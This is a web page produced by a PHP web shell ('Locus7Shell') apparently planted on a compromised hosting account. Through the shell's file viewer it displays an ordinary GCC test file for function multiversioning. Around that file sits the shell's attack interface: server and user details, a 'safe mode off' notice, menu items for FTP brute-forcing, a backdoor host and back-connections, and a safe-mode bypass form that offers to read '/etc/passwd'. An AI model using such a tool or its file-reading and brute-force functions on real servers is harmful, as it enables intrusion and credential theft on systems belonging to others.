Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     mv1.C (2.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test case to check if Multiversioning works.  */
/* { dg-do run } */
/* { dg-require-ifunc "" }  */
/* { dg-options "-O2 -fPIC -fcompare-debug=-Wsign-compare" } */

#include <assert.h>

/* Default version.  */
int foo (); // Extra declaration that is merged with the second one.
int foo () __attribute__ ((target("default")));
/* The other versions of foo.  Mix up the ordering and 
   check if the dispatching does it in the order of priority. */
/* Check combination of target attributes.  */
int foo () __attribute__ ((target("arch=corei7,popcnt")));
/* The target operands in this declaration and the definition are re-ordered.
   This should still work.  */
int foo () __attribute__ ((target("ssse3,avx2")));

/* Check for all target attributes for which dispatchers are available.  */
/* Check arch= */
int foo () __attribute__((target("arch=core2")));
int foo () __attribute__((target("arch=corei7")));
int foo () __attribute__((target("arch=atom")));
/* Check ISAs  */
int foo () __attribute__((target("avx")));
int foo () __attribute__ ((target("arch=core2,sse4.2")));
/* Check more arch=.  */
int foo () __attribute__((target("arch=amdfam10")));
int foo () __attribute__((target("arch=bdver1")));
int foo () __attribute__((target("arch=bdver2")));

int (*p)() = &foo;
int main ()
{
  int val = foo ();
  assert (val ==  (*p)());

  /* Check in the exact same order in which the dispatching
     is expected to happen.  */
  if (__builtin_cpu_is ("bdver1"))
    assert (val == 1);
  else if (__builtin_cpu_is ("bdver2"))
    assert (val == 2);
  else if (__builtin_cpu_supports ("avx2")
       && __builtin_cpu_supports ("ssse3"))
    assert (val == 3);
  else if (__builtin_cpu_supports ("avx"))
    assert (val == 4);
  else if (__builtin_cpu_is ("corei7")
       && __builtin_cpu_supports ("popcnt"))
    assert (val == 5);
  else if (__builtin_cpu_is ("corei7"))
    assert (val == 6);
  else if (__builtin_cpu_is ("amdfam10h"))
    assert (val == 7);
  else if (__builtin_cpu_is ("core2")
       && __builtin_cpu_supports ("sse4.2"))
    assert (val == 8);
  else if (__builtin_cpu_is ("core2"))
    assert (val == 9);
  else if (__builtin_cpu_is ("atom"))
    assert (val == 10);
  else
    assert (val == 0);
  
  return 0;
}

int __attribute__ ((target("default")))
foo ()
{
  return 0;
}

int __attribute__ ((target("arch=corei7,popcnt")))
foo ()
{
  return 5;
}
int __attribute__ ((target("avx2,ssse3")))
foo ()
{
  return 3;
}

int __attribute__ ((target("arch=core2")))
foo ()
{
  return 9;
}

int __attribute__ ((target("arch=corei7")))
foo ()
{
  return 6;
}

int __attribute__ ((target("arch=atom")))
foo ()
{
  return 10;
}

int __attribute__ ((target("avx")))
foo ()
{
  return 4;
}

int __attribute__ ((target("arch=core2,sse4.2")))
foo ()
{
  return 8;
}

int __attribute__ ((target("arch=amdfam10")))
foo ()
{
  return 7;
}

int __attribute__ ((target("arch=bdver1")))
foo ()
{
  return 1;
}

int __attribute__ ((target("arch=bdver2")))
foo ()
{
  return 2;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--